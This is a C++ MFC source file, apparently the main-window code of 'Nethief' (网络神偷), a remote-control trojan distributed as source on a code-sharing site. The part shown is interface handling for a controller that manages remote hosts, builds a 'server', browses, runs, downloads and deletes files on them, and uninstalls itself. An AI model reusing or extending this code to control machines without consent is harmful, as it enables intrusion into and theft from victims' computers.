www.pudn.com > Nethief.rar > MainFrm.cpp
// MainFrm.cpp : implementation of the CMainFrame class
//
#include "stdafx.h"
#include "Nethief.h"
#include "NethiefDoc.h"
#include "MainFrm.h"
#include "TipOfTheDayDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMainFrame
IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)
BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
//{{AFX_MSG_MAP(CMainFrame)
ON_WM_CREATE()
ON_WM_TIMER()
ON_WM_CLOSE()
ON_COMMAND(ID_HELP_TIPOFTHEDAY, OnHelpTipoftheday)
ON_COMMAND(ID_TOOLBAR_FILEMANAGER, OnToolbarFilemanager)
ON_COMMAND(ID_TOOLBAR_COMMUNITY, OnToolbarCommunity)
ON_COMMAND(ID_TOOLBAR_VIEW, OnToolbarView)
ON_COMMAND(ID_TOOLBAR_REFRESH, OnToolbarRefresh)
ON_COMMAND(ID_TOOLBAR_PASTE, OnToolbarPaste)
ON_COMMAND(ID_TOOLBAR_NEWFOLDER, OnToolbarNewfolder)
ON_COMMAND(ID_TOOLBAR_FINDFILE, OnToolbarFindfile)
ON_COMMAND(ID_TOOLBAR_DELETE, OnToolbarDelete)
ON_COMMAND(ID_TOOLBAR_CUT, OnToolbarCut)
ON_COMMAND(ID_TOOLBAR_COPY, OnToolbarCopy)
ON_COMMAND(ID_TOOLBAR_BACK, OnToolbarBack)
ON_COMMAND(ID_TOOLBAR_NEWFILE, OnToolbarNewfile)
ON_COMMAND(ID_TOOLBAR_RUN, OnToolbarRun)
ON_COMMAND(ID_MENU_FILE_RUN, OnMenuFileRun)
ON_COMMAND(ID_MENU_FILE_RENAME, OnMenuFileRename)
ON_COMMAND(ID_MENU_CONSOLE_TAB, OnMenuConsoleTab)
ON_UPDATE_COMMAND_UI(ID_INDICATOR_PROGRESS,OnUpdateIndicatorProgress)
ON_COMMAND(ID_TOOLBAR_SELECTALL, OnToolbarSelectall)
ON_COMMAND(ID_TOOLBAR_REVERSESELECT, OnToolbarReverseselect)
ON_WM_SIZE()
ON_MESSAGE(WM_SYSTRAY,OnSystray)
ON_COMMAND(ID_SYSTRAYMENU_WINDOW, OnSystraymenuWindow)
ON_MESSAGE(WM_HOTKEY,OnHotKey)
ON_COMMAND(ID_MENU_CONSOLE_LOGON, OnMenuConsoleLogon)
ON_UPDATE_COMMAND_UI(ID_SYSTRAYMENU_HIDE, OnUpdateSystraymenuHide)
ON_COMMAND(ID_SYSTRAYMENU_HIDE, OnSystraymenuHide)
ON_COMMAND(ID_TOOLBAR_DELETEHOST, OnToolbarDeletehost)
ON_COMMAND(ID_TOOLBAR_BUILDSERVER, OnToolbarBuildserver)
ON_COMMAND(ID_HELP_README, OnHelpReadme)
ON_COMMAND(ID_HELP_HOMEPAGE, OnHelpHomepage)
ON_COMMAND(ID_HELP_EMAIL, OnHelpEmail)
ON_COMMAND(ID_HELP_UPDATE, OnHelpUpdate)
ON_COMMAND(ID_TOOLBAR_DISCONNECT, OnToolbarDisconnect)
ON_COMMAND(ID_TOOLBAR_STOP, OnToolbarStop)
ON_COMMAND(ID_MENU_NET_OPTION, OnMenuNetOption)
ON_WM_SETCURSOR()
ON_MESSAGE(WM_WORKTHREAD,OnWorkThread)
ON_MESSAGE(WM_SOCKET,OnSocket)
ON_COMMAND(ID_TOOLBAR_PROPERTY, OnToolbarProperty)
ON_COMMAND(ID_MENU_NET_UNINSTALL, OnMenuNetUninstall)
ON_COMMAND(ID_MENU_NET_NOTE, OnMenuNetNote)
ON_COMMAND(ID_MENU_NET_DOWNLOAD, OnMenuNetDownload)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
static UINT indicators[] =
{
ID_INDICATOR_OFFLINE,
ID_INDICATOR_BUSY,
ID_INDICATOR_PROGRESS,
ID_SEPARATOR // status line indicator
};
/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction
CMainFrame::CMainFrame()
{
// TODO: add member initialization code here
m_nStartup=0;
m_hCursor=::LoadCursor(NULL,IDC_APPSTARTING);
}
CMainFrame::~CMainFrame()
{
}
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
//////////////////从INI中读出一些设置////////////////////////////
m_bIsFileManager=GetINIfileInt("Main Window Placement","IsFileManager");//得到窗口状态
m_cxOldColumnPos1=GetINIfileInt("Main Window Placement","SplitterBarPos");//分割栏初始化位置
m_cxOldColumnPos2=0;
m_bIsHideIcon=GetINIfileInt("Main Window Placement","IsHideIcon");
/////////////////////////////////////////////////////////////////
if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
return -1;
m_pTreeView=(CMyTreeView*)m_wndSplitter.GetPane(0,0);
m_pListView=(CMyListView*)m_wndSplitter.GetPane(0,1);
m_pFormView=(CMyFormView*)m_wndSplitter.GetPane(0,2);
//状态栏////////////////////////////////////////
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
m_wndStatusBar.SetPaneInfo(
m_wndStatusBar.CommandToIndex(ID_INDICATOR_OFFLINE),
ID_INDICATOR_OFFLINE,SBPS_NORMAL|SBPS_DISABLED,14);
m_wndStatusBar.SetPaneInfo(
m_wndStatusBar.CommandToIndex(ID_INDICATOR_BUSY),
ID_INDICATOR_BUSY,SBPS_NORMAL|SBPS_DISABLED,14);
m_wndStatusBar.SetPaneInfo(
m_wndStatusBar.CommandToIndex(ID_INDICATOR_PROGRESS),
ID_INDICATOR_PROGRESS,SBPS_NORMAL|SBPS_DISABLED,191);
m_wndStatusBar.SetPaneStyle(m_wndStatusBar.CommandToIndex(ID_SEPARATOR),
SBPS_STRETCH);
//网络操作工具栏///////////////////////////////////////////////////////////////
if(!m_wndNetToolBar.Create(this)||
!m_wndNetToolBar.LoadToolBar(IDR_NETTOOLBAR))
{
TRACE0("Failed to create toolbar\n");
return -1; // fail to create
}
m_wndNetToolBar.SetWindowText("网络");
m_wndNetToolBar.SetBarStyle(m_wndNetToolBar.GetBarStyle() |
CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC);
m_wndNetToolBar.ModifyStyle(0,TBSTYLE_FLAT); //设置工具栏为平面格式
m_wndNetToolBar.EnableDocking(CBRS_ALIGN_ANY);
EnableDocking(CBRS_ALIGN_ANY);
//////////////////////////////////////////////
CBitmap NetToolBarBitmap;
NetToolBarBitmap.LoadBitmap(IDB_NETTOOLBAR);
m_NetToolBarImageList.Create(32,32,ILC_COLOR32|ILC_MASK,4,1);
m_NetToolBarImageList.Add(&NetToolBarBitmap,RGB(255,0,255));
m_wndNetToolBar.GetToolBarCtrl().SetImageList(&m_NetToolBarImageList);
CBitmap NetToolBarHotBitmap;
NetToolBarHotBitmap.LoadBitmap(IDB_NETTOOLBAR_HOT);
m_NetToolBarHotImageList.Create(32,32,ILC_COLOR32|ILC_MASK,4,1);
m_NetToolBarHotImageList.Add(&NetToolBarHotBitmap,RGB(255,0,255));
m_wndNetToolBar.GetToolBarCtrl().SetHotImageList(&m_NetToolBarHotImageList);
//////////////////////////////////////////////
CRect rect;//设置窗口正常显示时的位置
rect.left=GetINIfileInt("Main Window Placement","NetToolBar.left");
rect.top=GetINIfileInt("Main Window Placement","NetToolBar.top");
rect.right=GetINIfileInt("Main Window Placement","NetToolBar.right");
rect.bottom=GetINIfileInt("Main Window Placement","NetToolBar.bottom");
ClientToScreen(&rect);
DockControlBar(&m_wndNetToolBar,(UINT)0,&rect);
//控制台工具栏///////////////////////////////////////////////////////////////////
if(!m_wndConsoleToolBar.Create(this)||
!m_wndConsoleToolBar.LoadToolBar(IDR_CONSOLETOOLBAR))
{
TRACE0("Failed to create toolbar\n");
return -1; // fail to create
}
m_wndConsoleToolBar.SetWindowText("主控");
m_wndConsoleToolBar.SetBarStyle(m_wndConsoleToolBar.GetBarStyle() |
CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC);
m_wndConsoleToolBar.ModifyStyle(0,TBSTYLE_FLAT); //设置工具栏为平面格式
//////////////////////////////////////////////
m_pWndConsoleToolBarCtrl=&m_wndConsoleToolBar.GetToolBarCtrl();
CBitmap ConsoleToolBarBitmap;
ConsoleToolBarBitmap.LoadBitmap(IDB_CONSOLETOOLBAR);
m_ConsoleToolBarImageList.Create(32,32,ILC_COLOR32|ILC_MASK,2,1);
m_ConsoleToolBarImageList.Add(&ConsoleToolBarBitmap,RGB(255,0,255));
m_pWndConsoleToolBarCtrl->SetImageList(&m_ConsoleToolBarImageList);
CBitmap ConsoleToolBarHotBitmap;
ConsoleToolBarHotBitmap.LoadBitmap(IDB_CONSOLETOOLBAR_HOT);
m_ConsoleToolBarHotImageList.Create(32,32,ILC_COLOR32|ILC_MASK,2,1);
m_ConsoleToolBarHotImageList.Add(&ConsoleToolBarHotBitmap,RGB(255,0,255));
m_pWndConsoleToolBarCtrl->SetHotImageList(&m_ConsoleToolBarHotImageList);
//////////////////////////////////////////////
m_wndConsoleToolBar.SetButtonStyle(0,TBBS_CHECKBOX|TBBS_GROUP);
m_wndConsoleToolBar.SetButtonStyle(1,TBBS_CHECKBOX|TBBS_GROUP);
m_wndConsoleToolBar.EnableDocking(CBRS_ALIGN_ANY);
EnableDocking(CBRS_ALIGN_ANY);
//////////////////////////////////////////////////////////////
rect.left=GetINIfileInt("Main Window Placement","ConsoleToolBar.left");
rect.top=GetINIfileInt("Main Window Placement","ConsoleToolBar.top");
rect.right=GetINIfileInt("Main Window Placement","ConsoleToolBar.right");
rect.bottom=GetINIfileInt("Main Window Placement","ConsoleToolBar.bottom");
ClientToScreen(&rect);
DockControlBar(&m_wndConsoleToolBar,(UINT)0,&rect);
if(m_bIsFileManager)
{
SetActivePane(0,0);//设置活动视为TreeView
m_pWndConsoleToolBarCtrl->CheckButton(ID_TOOLBAR_FILEMANAGER,TRUE);
CMenu *pMenu=GetMenu()->GetSubMenu(0);
pMenu->CheckMenuRadioItem(0,1,0,MF_BYPOSITION);
}
else
{
SetActivePane(0,2);//设置活动视为FormView
m_pWndConsoleToolBarCtrl->CheckButton(ID_TOOLBAR_COMMUNITY,TRUE);
CMenu *pMenu=GetMenu()->GetSubMenu(0);
pMenu->CheckMenuRadioItem(0,1,1,MF_BYPOSITION);
///////////////////////////////////////////////////
m_wndSplitter.SetColumnInfo(0,0,0);
m_wndSplitter.SetColumnInfo(1,0,0);
m_wndSplitter.RecalcLayout();
}
//文件操作工具栏////////////////////////////////////////////////////////////////
if(!m_wndFileToolBar.Create(this)||
!m_wndFileToolBar.LoadToolBar(IDR_FILETOOLBAR))
{
TRACE0("Failed to create toolbar\n");
return -1; // fail to create
}
m_wndFileToolBar.SetWindowText("文件");
m_wndFileToolBar.SetBarStyle(m_wndFileToolBar.GetBarStyle() |
CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC);
m_wndFileToolBar.ModifyStyle(0,TBSTYLE_FLAT); //设置工具栏为平面格式
//////////////////////////////////////////////
CBitmap FileToolBarBitmap;
FileToolBarBitmap.LoadBitmap(IDB_FILETOOLBAR);
m_FileToolBarImageList.Create(32,32,ILC_COLOR32|ILC_MASK,12,1);
m_FileToolBarImageList.Add(&FileToolBarBitmap,RGB(255,0,255));
m_wndFileToolBar.GetToolBarCtrl().SetImageList(&m_FileToolBarImageList);
CBitmap FileToolBarHotBitmap;
FileToolBarHotBitmap.LoadBitmap(IDB_FILETOOLBAR_HOT);
m_FileToolBarHotImageList.Create(32,32,ILC_COLOR32|ILC_MASK,12,1);
m_FileToolBarHotImageList.Add(&FileToolBarHotBitmap,RGB(255,0,255));
m_wndFileToolBar.GetToolBarCtrl().SetHotImageList(&m_FileToolBarHotImageList);
//////////////////////////////////////////////
m_wndFileToolBar.EnableDocking(CBRS_ALIGN_ANY);
EnableDocking(CBRS_ALIGN_ANY);
rect.left=GetINIfileInt("Main Window Placement","FileToolBar.left");
rect.top=GetINIfileInt("Main Window Placement","FileToolBar.top");
rect.right=GetINIfileInt("Main Window Placement","FileToolBar.right");
rect.bottom=GetINIfileInt("Main Window Placement","FileToolBar.bottom");
ClientToScreen(&rect);
DockControlBar(&m_wndFileToolBar,(UINT)0,&rect);
//////////////////////////////////////////////////////////////////
RegisterHotKey(m_hWnd,0,MOD_ALT,0xC0);//Alt+`
//////////////////////////////////////////////////////////////////
m_pDoc=(CNethiefDoc*)GetActiveDocument();
m_pDoc->OnInitial();
return 0;
}
BOOL CMainFrame::OnCreateClient( LPCREATESTRUCT lpcs,
CCreateContext* pContext)
{
m_wndSplitter.CreateStatic(this,1,3);//水平分割三个窗口
m_wndSplitter.CreateView(0,0,RUNTIME_CLASS(CMyTreeView),
CSize(m_cxOldColumnPos1,0),pContext);
m_wndSplitter.CreateView(0,1,RUNTIME_CLASS(CMyListView),
CSize(m_cxOldColumnPos2,0),pContext);
m_wndSplitter.CreateView(0,2,RUNTIME_CLASS(CMyFormView),
CSize(0,0),pContext);
return TRUE;
}
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
cs.style&=~FWS_ADDTOTITLE;
CNethiefApp* app=(CNethiefApp*)AfxGetApp();
cs.lpszName=app->m_strVersion;
return CFrameWnd::PreCreateWindow(cs);
}
/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics
#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
CFrameWnd::AssertValid();
}
void CMainFrame::Dump(CDumpContext& dc) const
{
CFrameWnd::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers
void CMainFrame::OnMenuConsoleTab()
{
// TODO: Add your command handler code here
if(m_bIsFileManager)
{
OnToolbarCommunity();
}
else
{
OnToolbarFilemanager();
}
}
void CMainFrame::OnToolbarFilemanager()
{
// TODO: Add your command handler code here
if(m_bIsFileManager)
return;
m_pWndConsoleToolBarCtrl->CheckButton(ID_TOOLBAR_FILEMANAGER,TRUE);
CMenu *pMenu=GetMenu()->GetSubMenu(0);
pMenu->CheckMenuRadioItem(0,1,0,MF_BYPOSITION);
m_bIsFileManager=TRUE;
m_wndSplitter.SetColumnInfo(0,m_cxOldColumnPos1,0);
m_wndSplitter.SetColumnInfo(1,m_cxOldColumnPos2,0);
m_wndSplitter.RecalcLayout();
SetActivePane(0,0);//设置活动视为TreeView
}
void CMainFrame::OnToolbarCommunity()
{
// TODO: Add your command handler code here
if(!m_bIsFileManager)
return;
m_pWndConsoleToolBarCtrl->CheckButton(ID_TOOLBAR_COMMUNITY,TRUE);
CMenu *pMenu=GetMenu()->GetSubMenu(0);
pMenu->CheckMenuRadioItem(0,1,1,MF_BYPOSITION);
m_bIsFileManager=FALSE;
int cxMin;
m_wndSplitter.GetColumnInfo(0,m_cxOldColumnPos1,cxMin);
m_wndSplitter.GetColumnInfo(1,m_cxOldColumnPos2,cxMin);
m_wndSplitter.SetColumnInfo(0,0,0);
m_wndSplitter.SetColumnInfo(1,0,0);
m_wndSplitter.RecalcLayout();
SetActivePane(0,2);//设置活动视为FormView
}
void CMainFrame::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
m_pDoc->OnTimer(nIDEvent);//转到CNethiefDoc的函数
}
void CMainFrame::ActivateFrame(int nCmdShow)
{
// TODO: Add your specialized code here and/or call the base class
//得到窗口位置及是否最大化
BOOL bIsMax=GetINIfileInt("Main Window Placement","IsMax");
if(bIsMax)//如果是最大化
CFrameWnd::ActivateFrame(SW_SHOWMAXIMIZED);
WINDOWPLACEMENT wndpl;
ZeroMemory(&wndpl,sizeof(WINDOWPLACEMENT));
wndpl.ptMaxPosition=CPoint(-4,-4);
CRect rect;//设置窗口正常显示时的位置
rect.left=GetINIfileInt("Main Window Placement","left");
rect.top=GetINIfileInt("Main Window Placement","top");
rect.right=GetINIfileInt("Main Window Placement","right");
rect.bottom=GetINIfileInt("Main Window Placement","bottom");
wndpl.rcNormalPosition=rect;
SetWindowPlacement(&wndpl);
if(!bIsMax)
CFrameWnd::ActivateFrame(nCmdShow);
}
void CMainFrame::OnClose()
{
// TODO: Add your message handler code here and/or call default
WINDOWPLACEMENT wndpl;
GetWindowPlacement(&wndpl);
if(wndpl.flags==WPF_RESTORETOMAXIMIZED)//记录窗口是否最大化
WriteINIfileInt("Main Window Placement","IsMax",1);
else
WriteINIfileInt("Main Window Placement","IsMax",0);
CRect rect;
rect=wndpl.rcNormalPosition;//记录正常显示时的窗口位置
WriteINIfileInt("Main Window Placement","left",rect.left);
WriteINIfileInt("Main Window Placement","top",rect.top);
WriteINIfileInt("Main Window Placement","right",rect.right);
WriteINIfileInt("Main Window Placement","bottom",rect.bottom);
//记录窗口状态
WriteINIfileInt("Main Window Placement","IsFileManager",m_bIsFileManager);
//记录分割栏位置
if(m_bIsFileManager)
{
int cxMin;
m_wndSplitter.GetColumnInfo(0,m_cxOldColumnPos1,cxMin);
}
WriteINIfileInt("Main Window Placement","SplitterBarPos",m_cxOldColumnPos1);
/////////////////////////////////////////////////////////////
m_wndConsoleToolBar.GetWindowPlacement(&wndpl);
rect=wndpl.rcNormalPosition;//记录正常显示时的窗口位置
WriteINIfileInt("Main Window Placement","ConsoleToolBar.left",rect.left);
WriteINIfileInt("Main Window Placement","ConsoleToolBar.top",rect.top);
WriteINIfileInt("Main Window Placement","ConsoleToolBar.right",rect.right);
WriteINIfileInt("Main Window Placement","ConsoleToolBar.bottom",rect.bottom);
m_wndFileToolBar.GetWindowPlacement(&wndpl);
rect=wndpl.rcNormalPosition;//记录正常显示时的窗口位置
WriteINIfileInt("Main Window Placement","FileToolBar.left",rect.left);
WriteINIfileInt("Main Window Placement","FileToolBar.top",rect.top);
WriteINIfileInt("Main Window Placement","FileToolBar.right",rect.right);
WriteINIfileInt("Main Window Placement","FileToolBar.bottom",rect.bottom);
m_wndNetToolBar.GetWindowPlacement(&wndpl);
rect=wndpl.rcNormalPosition;//记录正常显示时的窗口位置
WriteINIfileInt("Main Window Placement","NetToolBar.left",rect.left);
WriteINIfileInt("Main Window Placement","NetToolBar.top",rect.top);
WriteINIfileInt("Main Window Placement","NetToolBar.right",rect.right);
WriteINIfileInt("Main Window Placement","NetToolBar.bottom",rect.bottom);
WriteINIfileInt("Main Window Placement","IsHideIcon",m_bIsHideIcon);
////////////////////////////////////////////////////////////////
UnregisterHotKey(m_hWnd,0);
////////////////////////////////////////////////////////////////
m_pDoc->OnClose();
CFrameWnd::OnClose();
}
void CMainFrame::OnHelpTipoftheday()//显示每日一帖
{
// TODO: Add your command handler code here
CTipOfTheDayDlg dlg;
dlg.DoModal();
}
////////////////////////////工具栏响应///////////////////////////////////
void CMainFrame::OnToolbarNewfile()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
SetActivePane(0,1);
m_pDoc->OnToolbarNewfile();
}
void CMainFrame::OnToolbarNewfolder()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
SetActivePane(0,1);
m_pDoc->OnToolbarNewfolder();
}
//////////////////////////////////////////////////
void CMainFrame::OnToolbarBack()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarBack();
}
void CMainFrame::OnToolbarRefresh()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarRefresh();
}
void CMainFrame::OnToolbarFindfile()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarFindfile();
}
//////////////////////////////////////////////////
void CMainFrame::OnToolbarCut()
{
// TODO: Add your command handler code here
if(IsActivePane(0,0))//如果是TreeView
{
m_pDoc->OnToolbarCut(TRUE);
return;
}
if(IsActivePane(0,1))//如果是ListView
{
m_pDoc->OnToolbarCut(FALSE);
return;
}
MessageBeep(0xFFFFFFFF);//如果都不是
}
void CMainFrame::OnToolbarCopy()
{
// TODO: Add your command handler code here
if(IsActivePane(0,0))//如果是TreeView
{
m_pDoc->OnToolbarCopy(TRUE);
return;
}
if(IsActivePane(0,1))//如果是ListView
{
m_pDoc->OnToolbarCopy(FALSE);
return;
}
MessageBeep(0xFFFFFFFF);//如果都不是
}
void CMainFrame::OnToolbarPaste()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarPaste();
}
///////////////////////////////////////////////
void CMainFrame::OnMenuFileRun()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnMenuFileRun();
}
void CMainFrame::OnToolbarRun()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarRun();
}
void CMainFrame::OnMenuFileRename()
{
// TODO: Add your command handler code here
if(IsActivePane(0,0))//如果是TreeView
{
m_pDoc->OnTreeMenuFileRename();
return;
}
if(IsActivePane(0,1))//如果是ListView
{
m_pDoc->OnListMenuFileRename();
return;
}
MessageBeep(0xFFFFFFFF);//如果都不是
}
void CMainFrame::OnToolbarView()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarView();
}
void CMainFrame::OnToolbarDelete()
{
// TODO: Add your command handler code here
if(IsActivePane(0,0))//如果是TreeView
{
m_pDoc->OnTreeToolbarDelete();
return;
}
if(IsActivePane(0,1))//如果是ListView
{
m_pDoc->OnListToolbarDelete();
return;
}
MessageBeep(0xFFFFFFFF);//如果都不是
}
void CMainFrame::OnToolbarProperty()
{
// TODO: Add your command handler code here
if(IsActivePane(0,0))//如果是TreeView
{
m_pDoc->OnToolbarProperty(TRUE);
return;
}
if(IsActivePane(0,1))//如果是ListView
{
m_pDoc->OnToolbarProperty(FALSE);
return;
}
MessageBeep(0xFFFFFFFF);//如果都不是
}
void CMainFrame::OnToolbarSelectall()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
SetActivePane(0,1);
m_pDoc->OnToolbarSelectall();
}
void CMainFrame::OnToolbarReverseselect()
{
// TODO: Add your command handler code here
if(!(IsActivePane(0,0)||IsActivePane(0,1)))
{
MessageBeep(0xFFFFFFFF);
return;
}
SetActivePane(0,1);
m_pDoc->OnToolbarReverseselect();
}
///////////////////////////////////////////////////////////////////////////////
BOOL CMainFrame::IsActivePane(int nRow,int nCol)
{
int nRowTemp;
int nColTemp;
m_wndSplitter.GetActivePane(&nRowTemp,&nColTemp);
if(nRowTemp==nRow&&nColTemp==nCol)
return TRUE;
else
return FALSE;
}
void CMainFrame::SetActivePane(int nRow,int nCol)
{
m_wndSplitter.SetActivePane(nRow,nCol);
}
void CMainFrame::OnUpdateIndicatorProgress(CCmdUI *pCmdUI)
{
m_pDoc->OnUpdateIndicatorProgress(pCmdUI);
}
//////////////////INI文件操作函数/////////////////
int CMainFrame::GetINIfileInt(LPCTSTR lpSectionName, LPCTSTR lpKeyName)
{
CString exeFullPath; //用于保存当前执行程序路径
GetModuleFileName(NULL, //得到路径
exeFullPath.GetBufferSetLength(MAX_PATH),MAX_PATH);
exeFullPath.GetBufferSetLength(exeFullPath.ReverseFind('.')); //找到
exeFullPath=exeFullPath+".INI"; //源文件名
return GetPrivateProfileInt(lpSectionName,lpKeyName,-1,
exeFullPath.GetBufferSetLength(MAX_PATH));
}
BOOL CMainFrame::WriteINIfileInt(LPCTSTR lpSectionName, LPCTSTR lpKeyName, INT nValue)
{
CString exeFullPath; //用于保存当前执行程序路径
GetModuleFileName(NULL, //得到路径
exeFullPath.GetBufferSetLength(MAX_PATH),MAX_PATH);
exeFullPath.GetBufferSetLength(exeFullPath.ReverseFind('.')); //找到
exeFullPath=exeFullPath+".INI"; //源文件名
CString strValue;
strValue.Format("%d",nValue); //把整型转换成字符型
return WritePrivateProfileString(lpSectionName,lpKeyName,
strValue.GetBufferSetLength(strValue.GetLength()),
exeFullPath.GetBufferSetLength(MAX_PATH));
}
//////////////////////////////////////////////////////////
void CMainFrame::OnSize(UINT nType, int cx, int cy)
{
CFrameWnd::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if(m_nStartup<1)
{
m_nStartup++;
return;
}
m_pDoc->SetIndicatorRect();
if(nType==SIZE_MINIMIZED)
{
ShowWindow(SW_HIDE);
if(m_bIsHideIcon)
{
NOTIFYICONDATA tnd;
tnd.cbSize=sizeof(NOTIFYICONDATA);
tnd.hWnd=AfxGetMainWnd()->m_hWnd;
tnd.uID=IDR_MAINFRAME;//保证删除的是我们的图标
Shell_NotifyIcon(NIM_DELETE,&tnd);
}
}
}
void CMainFrame::OnSystray(WPARAM wParam,LPARAM lParam)
{
UINT uMouseMsg;//鼠标动作
uMouseMsg=(UINT)lParam;
if(uMouseMsg==WM_LBUTTONDOWN)//如果是单击左键
{
AfxGetMainWnd()->SetForegroundWindow();
OnSystraymenuWindow();
AfxGetMainWnd()->PostMessage(WM_NULL,0,0);
}
if(uMouseMsg==WM_RBUTTONDOWN)
{
AfxGetMainWnd()->SetForegroundWindow();
CMenu menu;//弹出Popup菜单
menu.LoadMenu(IDR_SYSTRAYMENU);
CMenu* pPopup=menu.GetSubMenu(0);
pPopup->SetDefaultItem(ID_SYSTRAYMENU_WINDOW);
CPoint Point;
GetCursorPos(&Point);
pPopup->TrackPopupMenu(TPM_LEFTALIGN,
Point.x,Point.y,AfxGetMainWnd(),NULL);
AfxGetMainWnd()->PostMessage(WM_NULL,0,0);
}
}
void CMainFrame::OnSystraymenuWindow()
{
// TODO: Add your command handler code here
if(IsIconic())
{
ShowWindow(SW_RESTORE);
if(m_bIsHideIcon)
{
NOTIFYICONDATA tnd;
tnd.cbSize=sizeof(NOTIFYICONDATA);
tnd.hWnd=AfxGetMainWnd()->m_hWnd;
tnd.uID=IDR_MAINFRAME;
tnd.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
tnd.uCallbackMessage=WM_SYSTRAY;
if(m_pDoc->m_bIsOnline)
{
tnd.hIcon=AfxGetApp()->LoadIcon(IDI_SYSTRAY);
CString strTip="网络神偷"+m_pDoc->m_strServerNum;
strcpy(tnd.szTip,(LPCSTR)strTip);
}
else
{
if(m_pDoc->m_bLogoning)
{
tnd.hIcon=AfxGetApp()->LoadIcon(IDI_SYSTRAY);
strcpy(tnd.szTip,"网络神偷[正在登录...]");
}
else
{
tnd.hIcon=AfxGetApp()->LoadIcon(IDI_SYSTRAY1);
strcpy(tnd.szTip,"网络神偷[脱机]");
}
}
Shell_NotifyIcon(NIM_ADD,&tnd);
}
Sleep(50);
SetForegroundWindow();
}
else
{
if(AfxGetMainWnd()==GetForegroundWindow())
{
ShowWindow(SW_SHOWMINIMIZED);
}
else
{
SetForegroundWindow();
}
}
}
void CMainFrame::OnHotKey(WPARAM wParam,LPARAM lParam)
{
int nIDHotKey=(int)wParam; //产生消息的热键ID
if(nIDHotKey==0)
{
OnSystraymenuWindow();
}
}
void CMainFrame::OnMenuConsoleLogon()
{
// TODO: Add your command handler code here
m_pDoc->OnMenuConsoleLogon();
}
void CMainFrame::OnUpdateSystraymenuHide(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->SetCheck(m_bIsHideIcon);
}
void CMainFrame::OnSystraymenuHide()
{
// TODO: Add your command handler code here
m_bIsHideIcon=!m_bIsHideIcon;
if(IsIconic())
{
NOTIFYICONDATA tnd;
tnd.cbSize=sizeof(NOTIFYICONDATA);
tnd.hWnd=AfxGetMainWnd()->m_hWnd;
tnd.uID=IDR_MAINFRAME;//保证删除的是我们的图标
Shell_NotifyIcon(NIM_DELETE,&tnd);
}
}
///////////////网络工具栏/////////////////////
void CMainFrame::OnToolbarDeletehost()
{
// TODO: Add your command handler code here
if(!IsActivePane(0,0))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarDeletehost();
}
void CMainFrame::OnToolbarDisconnect()
{
// TODO: Add your command handler code here
if(!IsActivePane(0,0))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnToolbarDisconnect();
}
void CMainFrame::OnMenuNetUninstall()
{
// TODO: Add your command handler code here
if(!IsActivePane(0,0))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnMenuNetUninstall();
}
void CMainFrame::OnMenuNetNote()
{
// TODO: Add your command handler code here
if(!IsActivePane(0,0))
{
MessageBeep(0xFFFFFFFF);
return;
}
m_pDoc->OnMenuNetNote();
}
void CMainFrame::OnToolbarStop()
{
// TODO: Add your command handler code here
m_pDoc->OnToolbarStop();
}
void CMainFrame::OnToolbarBuildserver()
{
// TODO: Add your command handler code here
m_pDoc->OnToolbarBuildserver();
}
void CMainFrame::OnMenuNetOption()
{
// TODO: Add your command handler code here
m_pDoc->OnMenuNetOption();
}
void CMainFrame::OnMenuNetDownload()
{
// TODO: Add your command handler code here
m_pDoc->OnMenuNetDownload();
}
/////////////网络工具栏结束////////////////////
void CMainFrame::OnHelpReadme()
{
// TODO: Add your command handler code here
